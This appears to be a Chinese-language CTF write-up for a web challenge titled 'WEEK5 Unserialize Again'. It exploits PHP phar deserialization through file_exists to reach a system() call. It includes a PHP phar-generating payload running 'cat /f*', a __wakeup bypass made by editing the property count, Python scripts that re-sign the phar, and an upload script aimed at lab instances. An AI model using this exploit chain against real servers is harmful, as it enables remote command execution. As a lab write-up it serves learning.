首页 > 其他分享 >WEEK5|WEB Unserialize Again

WEEK5|WEB Unserialize Again

时间:2024-08-02 14:39:50浏览次数:11  
标签:WEB open phar Unserialize Phar 签名 file import WEEK5

进入后是一个文件上传但是这里并没有漏洞点
image

看cookie

image

得到源码

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

先找利用点

system($this->eating);

这一题很明显没有serialize、unserialize
但是我们又要利用反序列化
很明显这一题是phar的反序列化

我们要注意
利用file_exists($Adam);反序列化时我们要绕过__wakeup()

先进行生成.phar文件

<?php
class story{
    public $eating = 'cat /f*';  //赋值要执行的命令
    public $God='true';  //满足if条件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("a.txt", "666");  //添加要压缩的文件
$phar->stopBuffering();

接下来我们修改序列化内容的属性数值以此来绕过__wakeup()

image
如果你用010打开不是这个效果
image

这个地方改为十六进制即可

改完属性值我们的文件签名就废了
需要重新签名

算法
Phar 文件的签名算法有几种可选的类型,每种类型都有不同的安全特性和应用场景。你可以根据具体需求选择合适的签名算法。Phar 提供的签名算法包括:

Phar::MD5: 基本的哈希算法,不推荐用于安全敏感的应用,因为 MD5 已被证明不够安全。
Phar::SHA1: 较 MD5 更安全的哈希算法,但在高安全性需求的场景中也已不再推荐使用。
Phar::SHA256: 更加安全的哈希算法,适合大多数应用场景。
Phar::SHA512: 高安全性的哈希算法,适合需要最高安全性的场景。
Phar::OPENSSL: 使用 OpenSSL 库进行签名,支持多种加密算法,可以提供最高的安全性,但需要额外的配置和依赖。
如何判断签名算法是什么我是真不知道 下面是偷的脚本 ``` sha1 from hashlib import sha1 with open('1.phar', 'rb') as file: f = file.read() #打开名为1.phar的文件,以二进制只读模式读取文件内容,并将其存储到变量f中 s = f[:-28] # 获取要签名的数据(s) h = f[-8:] # 获取签名类型和GBMB标识(h) newf = s + sha1(s).digest() + h # 对要签名的数据进行SHA-1哈希计算,并将原始数据、签名和类型/标识拼接成新的数据newf with open('newtest.phar', 'wb') as file: file.write(newf) ``` ``` SHA256 from hashlib import sha256 with open("hacker1.phar",'rb') as f: text=f.read() main=text[:-40] #正文部分(除去最后40字节) end=text[-8:] #最后八位也是不变的 new_sign=sha256(main).digest() new_phar=main+new_sign+end open("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件 ``` 脚本上传 ``` import urllib.parse import os import re import requests

url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
pattern = r'flag{.+?}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}

with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)


from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag{.+?}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替换为题目靶机地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)

os.remove('newtest.phar')

脚本来源
[1](https://blog.csdn.net/m0_73512445/article/details/133694293 "1")
[2](https://blog.csdn.net/2301_76690905/article/details/134315263 "2")

标签:WEB,open,phar,Unserialize,Phar,签名,file,import,WEEK5
From: https://www.cnblogs.com/dghh/p/18338510

相关文章

  • 基于Java的数据结构课程网站的设计与实现/线上学习系统/在线教学管理系统/Web、SSM、v
    需要源码的联系方式请查看文章末尾数据结构课程网站的设计与实现摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的数据结构课程网站可以使管理员工作得到更好的实施和应用,并有助于管理员更好地管理数据结构课程,解决人力管理......
  • 基于Web的心理测试/基于PHP大学生心理健康网站/课程设计
    摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的心理测试可以使管理员工作得到更好的管理和应用,并有助于管理员更好地管理心理测试,并有助于解决一些心理不健康的用户。因此一套好的心理测试可以起到很大的效果。该管理系统......
  • VulnhubAI-web 1.0靶机详解
    项目地址https://www.vulnhub.com/entry/ai-web-1,353/实验过程将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机使用nmap进行主机发现,获取靶机IP地址nmap192.168.47.1-254根据对比可知DC-8的一个ip地址为192.168.47.135扫描Ai-Web......
  • 基于web的史料采购系统的设计与实现
    目录1绪论1.1选题背景与意义1.2国内外研究现状2系统分析2.1.1技术可行性分析2.1.2经济可行性分析2.1.3社会可行性分析2.1.3操作可行性分析2.2系统流程分析2.2.1数据新增流程2.2.2数据删除流程2.3系统功能分析2.3.1功能性分析2.3.2非功能性分析......
  • NewStarCTF WEEK4|WEB PharOne
    首先进入后查看源码进入class.php看见unlike很明显是一个phar反序列化的利用我们有两种选择一一句话木马<?phpclassFlag{public$cmd;}$a=newFlag();$a->cmd="echo\"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";$phar=newPhar("......
  • web小游戏开发:拼图(完)完整代码展示
    web小游戏开发:拼图(完)关于不规则图形拼图的讨论CANVASdrawImage踩坑第一个坑,canvas内置画布的宽高和实际显示的宽高没有关联第二个坑,来源图片的尺寸切割不规则图形完整代码htmlcssjs关于不规则图形拼图的讨论在开始制作这个拼图之前,我们就已......
  • 如何使用 Flask 或 Django 创建 Web 应用
     Flask和Django是Python中最受欢迎的两个Web框架,它们各有优点,适用于不同的应用场景。一、使用Flask创建Web应用1.1Flask简介Flask是一个轻量级的Web框架,以其简洁、易用和灵活著称。它遵循“微框架”的设计理念,只提供核心功能,其余的功能可以通过扩展和第三方库来实现。这使......
  • 基于WEB的仓库管理系统的设计与实现
    点击下载源码基于WEB的仓库管理系统的设计与实现摘要仓库物品的管理是与我们的日常生活息息相关的一个重大问题。随着我国经济飞速的发展,改革开放的不断深入,企业要想在激烈的市场竞争中立于不败之地,要想继续的发展与生存,没有现代化的管理方式与方法是万万不行的,仓库管......
  • JavaWeb(10) HTTP协议
    一、HTTP协议1.定义        HTTP超文本传输协议(HTTP-HyperTexttransferprotocol),是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。它于1990年提出,经过十几年的使用与发展,得到不断地完善和扩展。它是一种详细规定了浏览器......
  • Web中间件漏洞提权
    Web中间件漏洞提权什么是Web中间件是一类提供系统软件和应用软件之间的连接,便于软件各部件之间的沟通的软件,应用软件可以借助中间件在不同的技术架构之间共享信息和资源。中间件位于客户机服务器的操作系统之上,管理着计算资源和网络通信。中间件=平台+通信一、IIS中间件1、IIS......